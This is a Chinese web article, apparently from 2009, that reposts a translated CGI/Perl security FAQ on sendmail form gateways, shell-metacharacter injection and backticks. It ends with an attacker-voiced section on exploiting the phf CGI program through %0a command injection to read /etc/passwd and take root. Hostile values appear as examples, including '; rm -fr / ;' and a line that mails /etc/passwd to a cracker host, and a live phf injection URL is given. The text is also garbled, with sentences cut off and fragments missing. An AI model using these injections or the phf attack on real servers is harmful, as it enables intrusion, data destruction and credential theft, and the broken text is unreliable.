时间:2009-08-29 点击: 次 来源:本站原创 作者:佚名 - 小 + 大
user 填的 form 资料自动寄出
1.将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME资料)。 我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail: $cgi_form = new CGI::Form; $from = $cgi_form->param('from'); $name = $cgi_form->param('name'); $to = $cgi_form->param('to'); $subject = $cgi_form->param('subject'); $message = $cgi_form->param('message'); open SENDMAIL, "| /usr/bin/sendmail -t -n"; print SENDMAIL End_of_Mail; From: $from $name To: $to Reply-To: $from Subject: $subject $message End_of_Mail 有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解决 网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail: 【译者】gateway 在此指送 email 的 CGI 程式
+-- 可能会出问题的漏洞!!! 如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号(metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入 ; rm -fr / ; 那麽您的麻烦可大了*。 【译者】这里头的 ``;'' 便是一个危险的 shellmetacharacter。另一个危险的符号是 ``&''。 在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。 ; mail joe@crackerland.org /etc/passwd 那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装shadow-password 的 UNIX 系统来说, 实在不太好玩。如果server 错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至可以让这个 CGI 的 email 2.该特别留意哪些安全事项? 绝对不要对 shell 暴露任何 form 资料。底下这几项通通都是安全漏洞: open(COMMAND, "/usr/ucb/finger $form_user"); system("/usr/ucb/finger $form_user"); @data = `usr/ucb/finger $form_user`; 话虽如此,在上面的第二种写法中,系统安全可藉着改变参数传送的方式而得以改 善。也就是将参数由字串方式传送 (shell 会先解译),改为序列方式传送。 system("/usr/ucb/finger", $form_user); 3.为什麽大家都说 极度危险! 想想看如果我这麽做会发生什麽事:
现在您同意了吧?避免这个恶梦发生的方法: 将 perl.exe 执行档由 ``cgi-bin'' 移到 server 根目录以外的目 以下是一例。假设您的 CGI script 叫做 ``sample.pl'' 而您的批次档叫 ``simple.bat'':
c:\dos_perl\perl.exe
A HREF="/cgi-bin/simple.bat" >Click Here /A> 4.要如何在程式中安全地使用逆向撇号 是的! 这非常危险!试想,如果 $user_field 含有这样的内容会有什么后果: ; rm -fr / ; 要达到相同的效果,一个比较安全的做法是*: if (open GREP, "-|") { @ans = GREP; } else { exec("/usr/local/bin/grep", $user_field, "some.file") || die "Error exec'ing command", "\n"; } close GREP; 不!这不是个安全漏洞。但是如果您用 eval 指令在执行期 (runtime)去 评估这个叙述,那么,它会变成一个安全死角。例如这种做法可能很危险:
eval "foreach (\@data) { push(\@matches, \$_) if 6.如果在WWW的cgi-bin的目录下有一个名为phf的可执行(具有x权限)程序,那么你就可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件,如/etc/passwd等,并保存在本地机上。以下是我们所需要做的。如果httpd服务器是由root根用户运行的,通过使用phf,我们可以成为该服务器的root用户;甚至修改服务器上某个用户的密码。 id是一个命令,它要求服务器返回用户的id。有时我们需要给出全路径,比如:http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id 注意%0a后面是命令行内容。如果你想输入一个空格符,就要用%20代替,以下是经常要用到的几个命令行:(以%0a开始) 显示passwd密码档: 获取/etc目录下所有以pass开始的详细文件列表: 如果你有访问http的root用户权限,备份passwd文件为passwd.my文件: 更改root用户密码(服务器往往会允许你这样做 ;-) ): 傲气雄鹰 |
上一篇:DALLY使用介绍
下一篇:Windows下建立自己的防火墙